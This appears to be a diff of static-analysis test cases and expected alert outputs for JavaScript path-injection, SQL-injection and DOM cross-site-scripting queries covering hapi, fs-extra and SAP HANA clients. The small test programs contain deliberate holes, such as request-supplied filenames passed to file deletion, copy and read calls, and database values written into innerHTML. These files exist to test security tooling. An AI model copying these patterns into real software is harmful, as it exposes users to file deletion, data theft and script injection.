| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:22:16:22:23 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:23:20:23:27 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:24:19:24:26 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:25:15:25:22 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:26:19:26:26 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:27:13:27:20 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:28:17:28:24 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:29:23:29:30 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:30:16:30:23 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:31:20:31:27 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:32:23:32:30 | filename | provenance | |
|
||||
| more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | |
|
||||
| more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | |
|
||||
@@ -821,6 +873,36 @@ nodes
|
||||
| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
|
||||
| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
|
||||
| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
|
||||
| more-fs-extra.js:8:11:8:22 | { filename } | semmle.label | { filename } |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body |
|
||||
| more-fs-extra.js:10:15:10:22 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:11:11:11:18 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:12:14:12:21 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:13:18:13:25 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:22:16:22:23 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:23:20:23:27 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:24:19:24:26 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:25:15:25:22 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:26:19:26:26 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:27:13:27:20 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:28:17:28:24 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:29:23:29:30 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:30:16:30:23 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:31:20:31:27 | filename | semmle.label | filename |
|
||||
| more-fs-extra.js:32:23:32:30 | filename | semmle.label | filename |
|
||||
| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
|
||||
| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
|
||||
| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
const Hapi = require('@hapi/hapi');
|
||||
const fs = require('fs').promises;
|
||||
|
||||
(async () => {
|
||||
const server = Hapi.server({
|
||||
port: 3005,
|
||||
host: 'localhost'
|
||||
});
|
||||
|
||||
server.route({
|
||||
method: 'GET',
|
||||
path: '/hello',
|
||||
handler: async (request, h) => {
|
||||
const filepath = request.query.filepath; // $ Source
|
||||
const data = await fs.readFile(filepath, 'utf8'); // $ Alert
|
||||
const firstLine = data.split('\n')[0];
|
||||
return firstLine;
|
||||
}
|
||||
});
|
||||
|
||||
await server.start();
|
||||
})();
|
||||
@@ -0,0 +1,33 @@
|
||||
const express = require('express');
|
||||
const fs = require('fs-extra');
|
||||
const app = express();
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
app.post('/rmsync', (req, res) => {
|
||||
const { filename } = req.body; // $ Source
|
||||
|
||||
fs.rmSync(filename); // $ Alert
|
||||
fs.rm(filename); // $ Alert
|
||||
fs.rmdir(filename); // $ Alert
|
||||
fs.rmdirSync(filename); // $ Alert
|
||||
fs.cp(filename, "destination"); // $ Alert
|
||||
fs.cp("source", filename); // $ Alert
|
||||
fs.copyFileSync(filename, "destination"); // $ Alert
|
||||
fs.copyFileSync("source", filename); // $ Alert
|
||||
fs.cpSync(filename, "destination"); // $ Alert
|
||||
fs.cpSync("source", filename); // $ Alert
|
||||
fs.emptydirSync(filename); // $ Alert
|
||||
fs.emptydir(filename); // $ Alert
|
||||
fs.opendir(filename); // $ Alert
|
||||
fs.opendirSync(filename); // $ Alert
|
||||
fs.openAsBlob(filename); // $ Alert
|
||||
fs.statfs(filename); // $ Alert
|
||||
fs.statfsSync(filename); // $ Alert
|
||||
fs.open(filename, 'r'); // $ Alert
|
||||
fs.openSync(filename, 'r'); // $ Alert
|
||||
fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ Alert
|
||||
fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
|
||||
fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
|
||||
fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ Alert
|
||||
});
|
||||
@@ -154,6 +154,34 @@ nodes
|
||||
| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | semmle.label | '<h2><a ... ></h2>' |
|
||||
| event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href |
|
||||
| express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") |
|
||||
| hana.js:11:37:11:40 | rows | semmle.label | rows |
|
||||
| hana.js:11:37:11:51 | rows[0].comment | semmle.label | rows[0].comment |
|
||||
| hana.js:16:37:16:40 | rows | semmle.label | rows |
|
||||
| hana.js:16:37:16:51 | rows[0].comment | semmle.label | rows[0].comment |
|
||||
| hana.js:19:37:19:40 | rows | semmle.label | rows |
|
||||
| hana.js:19:37:19:51 | rows[0].comment | semmle.label | rows[0].comment |
|
||||
| hana.js:22:37:22:38 | rs | semmle.label | rs |
|
||||
| hana.js:22:37:22:49 | rs[0].comment | semmle.label | rs[0].comment |
|
||||
| hana.js:38:31:38:32 | rs | semmle.label | rs |
|
||||
| hana.js:38:31:38:43 | rs[0].comment | semmle.label | rs[0].comment |
|
||||
| hana.js:43:33:43:41 | dummyRows | semmle.label | dummyRows |
|
||||
| hana.js:43:33:43:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
|
||||
| hana.js:44:33:44:42 | tablesRows | semmle.label | tablesRows |
|
||||
| hana.js:44:33:44:53 | tablesR ... comment | semmle.label | tablesR ... comment |
|
||||
| hana.js:50:33:50:41 | dummyRows | semmle.label | dummyRows |
|
||||
| hana.js:50:33:50:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
|
||||
| hana.js:51:33:51:42 | tablesRows | semmle.label | tablesRows |
|
||||
| hana.js:51:33:51:53 | tablesR ... comment | semmle.label | tablesR ... comment |
|
||||
| hana.js:70:33:70:36 | rows | semmle.label | rows |
|
||||
| hana.js:70:33:70:47 | rows[0].comment | semmle.label | rows[0].comment |
|
||||
| hana.js:73:33:73:36 | rows | semmle.label | rows |
|
||||
| hana.js:73:33:73:47 | rows[0].comment | semmle.label | rows[0].comment |
|
||||
| hana.js:84:35:84:43 | dummyRows | semmle.label | dummyRows |
|
||||
| hana.js:84:35:84:54 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
|
||||
| hana.js:85:35:85:43 | tableRows | semmle.label | tableRows |
|
||||
| hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment |
|
||||
| hana.js:90:33:90:34 | rs | semmle.label | rs |
|
||||
| hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment |
|
||||
| jquery.js:2:7:2:40 | tainted | semmle.label | tainted |
|
||||
| jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
|
||||
| jquery.js:4:5:4:11 | tainted | semmle.label | tainted |
|
||||
@@ -792,6 +820,20 @@ edges
|
||||
| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | |
|
||||
| event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance | |
|
||||
| event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance | Config |
|
||||
| hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | provenance | |
|
||||
| hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | provenance | |
|
||||
| hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | provenance | |
|
||||
| hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | provenance | |
|
||||
| hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | provenance | |
|
||||
| hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | provenance | |
|
||||
| hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | provenance | |
|
||||
| hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | provenance | |
|
||||
| hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | provenance | |
|
||||
| hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | provenance | |
|
||||
| hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | provenance | |
|
||||
| hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | provenance | |
|
||||
| hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | provenance | |
|
||||
| hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | provenance | |
|
||||
| jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | |
|
||||
| jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | |
|
||||
| jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | |
|
||||
@@ -1275,6 +1317,20 @@ subpaths
|
||||
| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
|
||||
| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
|
||||
#select
|
||||
| hana.js:11:37:11:51 | rows[0].comment | hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:11:37:11:40 | rows | user-provided value |
|
||||
| hana.js:16:37:16:51 | rows[0].comment | hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:16:37:16:40 | rows | user-provided value |
|
||||
| hana.js:19:37:19:51 | rows[0].comment | hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:19:37:19:40 | rows | user-provided value |
|
||||
| hana.js:22:37:22:49 | rs[0].comment | hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:22:37:22:38 | rs | user-provided value |
|
||||
| hana.js:38:31:38:43 | rs[0].comment | hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:38:31:38:32 | rs | user-provided value |
|
||||
| hana.js:43:33:43:52 | dummyRows[0].comment | hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:43:33:43:41 | dummyRows | user-provided value |
|
||||
| hana.js:44:33:44:53 | tablesR ... comment | hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:44:33:44:42 | tablesRows | user-provided value |
|
||||
| hana.js:50:33:50:52 | dummyRows[0].comment | hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:50:33:50:41 | dummyRows | user-provided value |
|
||||
| hana.js:51:33:51:53 | tablesR ... comment | hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:51:33:51:42 | tablesRows | user-provided value |
|
||||
| hana.js:70:33:70:47 | rows[0].comment | hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:70:33:70:36 | rows | user-provided value |
|
||||
| hana.js:73:33:73:47 | rows[0].comment | hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:73:33:73:36 | rows | user-provided value |
|
||||
| hana.js:84:35:84:54 | dummyRows[0].comment | hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:84:35:84:43 | dummyRows | user-provided value |
|
||||
| hana.js:85:35:85:54 | tableRows[0].comment | hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:85:35:85:43 | tableRows | user-provided value |
|
||||
| hana.js:90:33:90:45 | rs[0].comment | hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:90:33:90:34 | rs | user-provided value |
|
||||
| jwt.js:6:14:6:20 | decoded | jwt.js:4:36:4:39 | data | jwt.js:6:14:6:20 | decoded | Cross-site scripting vulnerability due to $@. | jwt.js:4:36:4:39 | data | user-provided value |
|
||||
| typeahead.js:10:16:10:18 | loc | typeahead.js:9:28:9:30 | loc | typeahead.js:10:16:10:18 | loc | Cross-site scripting vulnerability due to $@. | typeahead.js:9:28:9:30 | loc | user-provided value |
|
||||
| xmlRequest.js:9:28:9:39 | json.message | xmlRequest.js:8:31:8:46 | xhr.responseText | xmlRequest.js:9:28:9:39 | json.message | Cross-site scripting vulnerability due to $@. | xmlRequest.js:8:31:8:46 | xhr.responseText | user-provided value |
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
const hana = require('@sap/hana-client');
|
||||
const express = require('express');
|
||||
|
||||
const app = express();
|
||||
const connectionParams = {};
|
||||
const query = ``;
|
||||
app.post('/documents/find', (req, res) => {
|
||||
const conn = hana.createConnection();
|
||||
conn.connect(connectionParams, (err) => {
|
||||
conn.exec(query, (err, rows) => {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
|
||||
const stmt = conn.prepare(query);
|
||||
stmt.exec([0], (err, rows) => {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
stmt.execBatch([[1, "a"], [2, "b"]], function(err, rows) {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
stmt.execQuery([100, "a"], function(err, rs) {
|
||||
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
var hdbext = require('@sap/hdbext');
|
||||
var express = require('express');
|
||||
var dbStream = require('@sap/hana-client/extension/Stream');
|
||||
|
||||
var app1 = express();
|
||||
const hanaConfig = {};
|
||||
app1.use(hdbext.middleware(hanaConfig));
|
||||
|
||||
app1.get('/execute-query', function (req, res) {
|
||||
var client = req.db;
|
||||
client.exec(query, function (err, rs) {
|
||||
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
|
||||
dbStream.createProcStatement(client, query, function (err, stmt) {
|
||||
stmt.exec({ A: 1, B: 4 }, function (err, params, dummyRows, tablesRows) {
|
||||
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
|
||||
hdbext.loadProcedure(client, null, query, function(err, sp) {
|
||||
sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {
|
||||
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
var hdb = require('hdb');
|
||||
const async = require('async');
|
||||
const { q } = require('underscore.string');
|
||||
|
||||
const options = {};
|
||||
const app2 = express();
|
||||
|
||||
app2.post('/documents/find', (req, res) => {
|
||||
var client = hdb.createClient(options);
|
||||
|
||||
client.connect(function onconnect(err) {
|
||||
|
||||
client.exec(query, function (err, rows) {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
client.exec(query, options, function(err, rows) {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
|
||||
client.prepare(query, function (err, statement){
|
||||
statement.exec([1], function (err, rows) {
|
||||
document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
|
||||
client.prepare(query, function(err, statement){
|
||||
statement.exec({A: 3, B: 1}, function(err, parameters, dummyRows, tableRows) {
|
||||
document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
document.body.innerHTML = tableRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
|
||||
client.execute(query, function(err, rs) {
|
||||
document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -10,6 +10,19 @@
|
||||
| graphql.js:74:46:74:64 | "{ foo" + id + " }" | graphql.js:73:14:73:25 | req.query.id | graphql.js:74:46:74:64 | "{ foo" + id + " }" | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
|
||||
| graphql.js:82:14:88:8 | `{\\n ... }` | graphql.js:73:14:73:25 | req.query.id | graphql.js:82:14:88:8 | `{\\n ... }` | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value |
|
||||
| graphql.js:118:38:118:48 | `foo ${id}` | graphql.js:117:16:117:28 | req.params.id | graphql.js:118:38:118:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:117:16:117:28 | req.params.id | user-provided value |
|
||||
| hana.js:11:19:11:23 | query | hana.js:9:30:9:37 | req.body | hana.js:11:19:11:23 | query | This query string depends on a $@. | hana.js:9:30:9:37 | req.body | user-provided value |
|
||||
| hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value |
|
||||
| hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value |
|
||||
| hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value |
|
||||
| hana.js:48:15:48:52 | 'SELECT ... usInput | hana.js:47:24:47:31 | req.body | hana.js:48:15:48:52 | 'SELECT ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
|
||||
| hana.js:50:40:50:89 | 'CALL P ... usInput | hana.js:47:24:47:31 | req.body | hana.js:50:40:50:89 | 'CALL P ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
|
||||
| hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value |
|
||||
| hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| hana.js:76:20:76:73 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:76:20:76:73 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| hana.js:80:20:80:69 | 'call P ... usInput | hana.js:68:24:68:31 | req.body | hana.js:80:20:80:69 | 'call P ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| hana.js:84:20:84:78 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:84:20:84:78 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value |
|
||||
| html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value |
|
||||
| json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
|
||||
| json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
|
||||
@@ -152,6 +165,41 @@ edges
|
||||
| graphql.js:117:11:117:28 | id | graphql.js:118:45:118:46 | id | provenance | |
|
||||
| graphql.js:117:16:117:28 | req.params.id | graphql.js:117:11:117:28 | id | provenance | |
|
||||
| graphql.js:118:45:118:46 | id | graphql.js:118:38:118:48 | `foo ${id}` | provenance | |
|
||||
| hana.js:9:13:9:42 | maliciousInput | hana.js:10:64:10:77 | maliciousInput | provenance | |
|
||||
| hana.js:9:30:9:37 | req.body | hana.js:9:13:9:42 | maliciousInput | provenance | |
|
||||
| hana.js:10:15:10:80 | query | hana.js:11:19:11:23 | query | provenance | |
|
||||
| hana.js:10:64:10:77 | maliciousInput | hana.js:10:15:10:80 | query | provenance | |
|
||||
| hana.js:16:15:16:44 | maliciousInput | hana.js:17:87:17:100 | maliciousInput | provenance | |
|
||||
| hana.js:16:32:16:39 | req.body | hana.js:16:15:16:44 | maliciousInput | provenance | |
|
||||
| hana.js:17:87:17:100 | maliciousInput | hana.js:17:35:17:100 | `SELECT ... usInput | provenance | |
|
||||
| hana.js:23:15:23:44 | maliciousInput | hana.js:24:83:24:96 | maliciousInput | provenance | |
|
||||
| hana.js:23:32:23:39 | req.body | hana.js:23:15:23:44 | maliciousInput | provenance | |
|
||||
| hana.js:24:83:24:96 | maliciousInput | hana.js:24:33:24:96 | `INSERT ... usInput | provenance | |
|
||||
| hana.js:30:13:30:42 | maliciousInput | hana.js:31:84:31:97 | maliciousInput | provenance | |
|
||||
| hana.js:30:30:30:37 | req.body | hana.js:30:13:30:42 | maliciousInput | provenance | |
|
||||
| hana.js:31:84:31:97 | maliciousInput | hana.js:31:31:31:97 | "SELECT ... usInput | provenance | |
|
||||
| hana.js:47:7:47:36 | maliciousInput | hana.js:48:39:48:52 | maliciousInput | provenance | |
|
||||
| hana.js:47:7:47:36 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | |
|
||||
| hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | |
|
||||
| hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance | |
|
||||
| hana.js:48:39:48:52 | maliciousInput | hana.js:48:15:48:52 | 'SELECT ... usInput | provenance | |
|
||||
| hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | |
|
||||
| hana.js:50:76:50:89 | maliciousInput | hana.js:50:40:50:89 | 'CALL P ... usInput | provenance | |
|
||||
| hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | |
|
||||
| hana.js:54:53:54:66 | maliciousInput | hana.js:54:38:54:66 | 'PROC_D ... usInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:76:60:76:73 | maliciousInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:80:56:80:69 | maliciousInput | provenance | |
|
||||
| hana.js:68:7:68:36 | maliciousInput | hana.js:84:65:84:78 | maliciousInput | provenance | |
|
||||
| hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance | |
|
||||
| hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance | |
|
||||
| hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance | |
|
||||
| hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance | |
|
||||
| hana.js:76:60:76:73 | maliciousInput | hana.js:76:20:76:73 | 'select ... usInput | provenance | |
|
||||
| hana.js:80:56:80:69 | maliciousInput | hana.js:80:20:80:69 | 'call P ... usInput | provenance | |
|
||||
| hana.js:84:65:84:78 | maliciousInput | hana.js:84:20:84:78 | 'select ... usInput | provenance | |
|
||||
| html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance | |
|
||||
| html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance | |
|
||||
| html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance | |
|
||||
@@ -504,6 +552,45 @@ nodes
|
||||
| graphql.js:117:16:117:28 | req.params.id | semmle.label | req.params.id |
|
||||
| graphql.js:118:38:118:48 | `foo ${id}` | semmle.label | `foo ${id}` |
|
||||
| graphql.js:118:45:118:46 | id | semmle.label | id |
|
||||
| hana.js:9:13:9:42 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:9:30:9:37 | req.body | semmle.label | req.body |
|
||||
| hana.js:10:15:10:80 | query | semmle.label | query |
|
||||
| hana.js:10:64:10:77 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:11:19:11:23 | query | semmle.label | query |
|
||||
| hana.js:16:15:16:44 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:16:32:16:39 | req.body | semmle.label | req.body |
|
||||
| hana.js:17:35:17:100 | `SELECT ... usInput | semmle.label | `SELECT ... usInput |
|
||||
